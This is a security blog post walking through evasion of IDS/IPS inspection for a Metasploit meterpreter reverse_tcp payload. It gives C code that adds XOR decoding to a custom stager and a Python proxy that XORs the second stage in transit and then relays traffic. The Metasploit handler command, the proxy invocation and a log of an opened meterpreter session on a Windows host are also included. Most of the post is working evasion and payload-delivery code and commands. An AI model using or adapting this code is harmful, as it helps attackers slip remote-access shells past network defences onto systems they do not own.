So like we have seen in previous posts bypassing antivirus engines isn’t always as difficult as you would expect. Now how about bypassing IDS/IPS systems? After all, the only thing we have done is make the initial stager undetected, the second stage still needs to be transferred over the wire. We have a couple of options to do this:
- Encode the second stage
- Encrypt/Obfuscate the second stage
The first one has already been done by metasploit and integrates really nice within metasploit, so let’s build the second one for fun, profit and general learning.
Since we just want some obfuscation and nothing fancy we’ll just use our good friend XOR to obfuscate the payload. We do want this to be reusable or at least keep it simple. So I’ve chosen to implement an encrypting proxy. Why you ask?
- You don’t have to change or edit metasploit code
- You don’t have to change or edit the stage itself
- You only have to change your stager
- We have already build our own stager :)
So let’s modify our stager to support XOR decryption. For that we need a XOR function and actually calling that function.
/* Use for additional obfuscation?? http://stackoverflow.com/questions/12375808/how-to-make-bit-wise-xor-in-c */ void xor(char *data,int len){ int i; for(i=0;i<len;i++){ data[i] = data[i] ^ 0x50; } }
Then you actually call the function:
do{ response = recv(meterpretersock, recvbuf, 1024, 0); xor(&recvbuf[0],response); memcpy(payload,recvbuf,response); payload += response; total += response; payloadlength -= response; }while(payloadlength > 0);
Those are all the modifications we need to make to our existing stager. The proxy however we’ll need to build from scratch, these are the minimal steps it needs to perform to support a windows/meterpreter/reverse_tcp payload:
- Listen for incoming connections
- Connect to the metasploit handler
- Read the payload length
- XOR the payload on the fly
- forward it to our stager
- Just relay all traffic between stager and metasploit after this point
The only interesting part which is handling the initial stager connection looks like this:
#handle the initial stager connection def handler(clientsock,addr): msfsock = socket(AF_INET, SOCK_STREAM) msfsock.connect((MSFIP, MSFPORT)) msfdata = '' #read and send payload length to meterpreter msfdata = msfsock.recv(4) clientsock.send(msfdata) datalen = struct.unpack('<I',msfdata)[0] print "payload size %s" % datalen #now start sending and xor'ing the data while datalen > 0: msfdata = msfsock.recv(BUFF) xorreddata = '' for i in range(len(msfdata)): xorreddata += chr((ord(msfdata[i]) ^ XORKEY) & 0xFF) clientsock.sendall(xorreddata) rl = len(msfdata) datalen = datalen - rl print "send data %s remaining %s" % (rl,datalen) #we are done with obfuscation, just relay traffic from now on print "Starting loop" thread.start_new_thread(trafficloop,(msfsock,clientsock)) thread.start_new_thread(trafficloop,(clientsock,msfsock))
Now when you run it you’ll encounter an interesting bug/feature in metasploit as in that metasploit doesn’t allow connections from 127.0.0.1. You can work around this by adding your own local loopback interface as explained here: http://www.kartook.com/2010/10/linux-how-to-add-loopback-on-ubuntu/
After solving that you just start metasploit payload handler:
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 E
Then you start the encrypting proxy:
./ep.py 10.50.0.103 9999 10.10.10.100 4444
The only thing you have to do now is launch the custom stager and if everything goes as planned your metasploit terminal will look like this:
PAYLOAD => windows/meterpreter/reverse_tcp LHOST => 10.10.10.100 LPORT => 4444 [*] Started reverse handler on 10.10.10.100:4444 [*] Starting the payload handler... [*] Sending stage (762880 bytes) to 10.10.10.100 [*] Meterpreter session 1 opened (10.10.10.100:4444 -> 10.10.10.100:44995) at 2013-02-21 02:04:02 +0100 meterpreter > getuid Server username: WIN-COMP\research meterpreter >
and if you look at the data in wireshark it looks like this, instead of having the usual “This program cannot be run in DOS mode.”:
You can find the complete code for this (stager & proxy) on my github as usual, as for the compiling instructions I’ve explained those in a previous post.